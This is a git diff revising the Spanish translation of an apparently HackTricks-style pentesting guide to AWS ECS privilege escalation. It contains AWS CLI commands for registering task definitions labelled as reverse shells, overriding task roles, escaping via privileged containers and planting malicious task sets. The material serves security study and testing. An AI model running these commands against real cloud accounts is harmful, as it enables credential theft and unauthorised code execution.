Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md',

This commit is contained in:
Translator
2025-09-04 23:47:04 +00:00
parent 01ec8d2e5e
commit 645882f300
4 changed files with 115 additions and 115 deletions

View File

@@ -12,7 +12,7 @@ Más **info sobre ECS** en:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Un atacante que abuse de los permisos `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarlo**.
Un atacante que abusa del permiso `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que roba las credenciales del metadata y **ejecutarlo**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Crea un webhook usando un sitio como webhook.site
Crea un webhook con un sitio como webhook.site
```bash
# Create file container-definition.json
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Impacto potencial:** privesc directo a un rol ECS diferente.
**Impacto potencial:** Privesc directo a un rol de ECS diferente.
### `iam:PassRole`,`ecs:RunTask`
Un atacante que tenga permisos `iam:PassRole` y `ecs:RunTask` puede iniciar una nueva tarea ECS con los valores modificados de **execution role**, **task role** y **command** del contenedor. El comando CLI `ecs run-task` contiene la opción `--overrides`, que permite cambiar en tiempo de ejecución `executionRoleArn`, `taskRoleArn` y el `command` del contenedor sin tocar la task definition.
Un atacante que tenga los permisos `iam:PassRole` y `ecs:RunTask` puede iniciar una nueva tarea de ECS con valores modificados de **execution role**, **task role** y el **command** del contenedor. El comando de CLI `ecs run-task` contiene el flag `--overrides` que permite cambiar en tiempo de ejecución `executionRoleArn`, `taskRoleArn` y el `command` del contenedor sin tocar la definición de la tarea.
Los roles IAM especificados en `taskRoleArn` y `executionRoleArn` deben confiar/permitir ser asumidos por `ecs-tasks.amazonaws.com` en su política de confianza.
Los roles IAM especificados para `taskRoleArn` y `executionRoleArn` deben confiar/permitir que sean asumidos por `ecs-tasks.amazonaws.com` en su política de confianza.
Además, el atacante necesita conocer:
- Nombre del cluster ECS
- Subred de VPC
- Grupo de seguridad (si no se especifica un grupo de seguridad se usará el predeterminado)
- Nombre y revisión de la definición de tarea (Task Definition)
- Nombre del contenedor
- Nombre del ECS cluster
- Subred de la VPC
- Security group (si no se especifica un security group se usará el por defecto)
- Nombre y revisión de la Task Definition
- Nombre del Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
En el fragmento de código anterior el atacante sobrescribe sólo el valor de `taskRoleArn`. Sin embargo, el atacante debe tener el permiso `iam:PassRole` sobre el `taskRoleArn` especificado en el comando y el `executionRoleArn` especificado en la definición de la tarea para que el ataque ocurra.
En el fragmento de código anterior un atacante solo sobrescribe el valor de `taskRoleArn`. Sin embargo, el atacante debe tener el permiso `iam:PassRole` sobre el `taskRoleArn` especificado en el comando y sobre el `executionRoleArn` especificado en la definición de la tarea para que el ataque ocurra.
Si el rol IAM que el atacante puede pasar tiene suficientes privilegios para extraer una imagen de ECR y arrancar la tarea ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) entonces el atacante puede especificar el mismo rol IAM tanto para `executionRoleArn` como para `taskRoleArn` en el comando `ecs run-task`.
Si el rol de IAM que el atacante puede pasar tiene suficientes privilegios para descargar la imagen de ECR y arrancar la tarea de ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) entonces el atacante puede especificar el mismo rol de IAM tanto para `executionRoleArn` como para `taskRoleArn` en el comando `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Impacto potencial:** Privesc directo a cualquier rol de tarea de ECS.
**Impacto potencial:** Privesc directo a cualquier ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarla**.\
Sin embargo, en este caso, es necesario que exista una instancia de contenedor para ejecutar la task definition maliciosa.
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que robe las credenciales de metadata y **ejecutarlo**.\
Sin embargo, en este caso se necesita una container instance para ejecutar la task definition maliciosa.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -146,8 +146,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generar una nueva definición de tarea** con un **contenedor malicioso** que robe las **credenciales de metadatos** y **ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.**
Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -170,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Impacto potencial:** Privesc directo a cualquier rol de ECS.
**Impacto potencial:** privesc directo a cualquier rol de ECS.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
En realidad, con solo esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:
De hecho, solo con esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -182,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Impacto potencial:** Escalada directa de privilegios a cualquier rol de ECS.
**Impacto potencial:** Privesc directo a cualquier rol de ECS.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Este escenario es similar a los anteriores pero **sin** el permiso **`iam:PassRole`**.\
Sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si es sin rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **roles de otros contenedores de ECS** que se estén ejecutando en el nodo.\
Incluso podrías **forzar que otras tareas se ejecuten dentro de la instancia EC2** que comprometas para robar sus credenciales (como se discute en la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
Este escenario es como los anteriores pero **sin** el permiso **`iam:PassRole`**.\
Sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si no tiene rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el EC2 IAM role** y los **roles de otros contenedores ECS** que se estén ejecutando en el nodo.\
Incluso podrías **forzar que otras tasks se ejecuten dentro de la EC2 instance** que comprometas para robar sus credenciales (como se discute en la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Este ataque solo es posible si el clúster de ECS está usando instancias EC2 y no Fargate.
> Este ataque solo es posible si el **ECS cluster está usando instancias EC2** y no Fargate.
```bash
printf '[
{
@@ -234,7 +233,8 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Un atacante con los permisos **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el IAM role adjunto a él (necesitas los permisos de describe porque son necesarios para ejecutar `aws ecs execute-command`).\ Sin embargo, para hacerlo, la instancia del contenedor necesita estar ejecutando el **ExecuteCommand agent** (que por defecto no lo está).
Un atacante con la **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** puede **ejecutar comandos** dentro de un contenedor en ejecución y exfiltrar el IAM role asociado a él (necesitas los permisos de describe porque son necesarios para ejecutar `aws ecs execute-command`).\
Sin embargo, para poder hacer eso, la instancia del contenedor debe estar ejecutando el **ExecuteCommand agent** (que por defecto no lo está).
Por lo tanto, el atacante podría intentar:
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Si tiene **`ecs:RunTask`**, ejecutar una tarea con `aws ecs run-task --enable-execute-command [...]`
- Si tiene **`ecs:StartTask`**, ejecutar una tarea con `aws ecs start-task --enable-execute-command [...]`
- Si tiene **`ecs:CreateService`**, crear un servicio con `aws ecs create-service --enable-execute-command [...]`
- Si tiene **`ecs:UpdateService`**, actualizar un servicio con `aws ecs update-service --enable-execute-command [...]`
- Si tiene **`ecs:RunTask`**, ejecute una tarea con `aws ecs run-task --enable-execute-command [...]`
- Si tiene **`ecs:StartTask`**, ejecute una tarea con `aws ecs start-task --enable-execute-command [...]`
- Si tiene **`ecs:CreateService`**, cree un service con `aws ecs create-service --enable-execute-command [...]`
- Si tiene **`ecs:UpdateService`**, actualice un service con `aws ecs update-service --enable-execute-command [...]`
Puedes encontrar **ejemplos de esas opciones** en las **secciones previas de ECS privesc**.
Puede encontrar **ejemplos de esas opciones** en **secciones previas de ECS privesc**.
**Impacto potencial:** Privesc a un rol diferente adjunto a los contenedores.
### `ssm:StartSession`
Consulta en la **página ssm privesc** cómo puedes abusar de este permiso para **privesc a ECS**:
Consulta en la **ssm privesc page** cómo puedes abusar de este permiso para **privesc a ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Consulta en la **página ec2 privesc** cómo puedes abusar de estos permisos para **privesc a ECS**:
Consulta en la **ec2 privesc page** cómo puedes abusar de estos permisos para **privesc a ECS**:
{{#ref}}
aws-ec2-privesc.md
@@ -283,16 +283,16 @@ aws-ec2-privesc.md
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
Un atacante con estos permisos podría potencialmente registrar una instancia EC2 en un clúster ECS y ejecutar tareas en ella. Esto podría permitir al atacante ejecutar código arbitrario en el contexto de las tareas de ECS.
Un atacante con estos permisos podría potencialmente registrar una instancia EC2 en un cluster ECS y ejecutar tareas en ella. Esto podría permitir al atacante ejecutar código arbitrario dentro del contexto de las tareas de ECS.
- TODO: ¿Es posible registrar una instancia desde una cuenta AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante??
- TODO: ¿Es posible registrar una instancia desde una cuenta de AWS diferente para que las tareas se ejecuten en máquinas controladas por el atacante??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Probar esto
Un atacante con los permisos `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, y `ecs:DescribeTaskSets` puede crear un task set malicioso para un servicio ECS existente y actualizar el task set primario. Esto permite al atacante ejecutar código arbitrario dentro del servicio.
Un atacante con los permisos `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` y `ecs:DescribeTaskSets` puede **crear un task set malicioso para un servicio ECS existente y actualizar el primary task set**. Esto permite al atacante **ejecutar código arbitrario dentro del servicio**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Impacto potencial**: Ejecutar código arbitrario en el servicio afectado, lo que puede afectar su funcionalidad o exfiltrar datos sensibles.
**Impacto potencial**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data.
## Referencias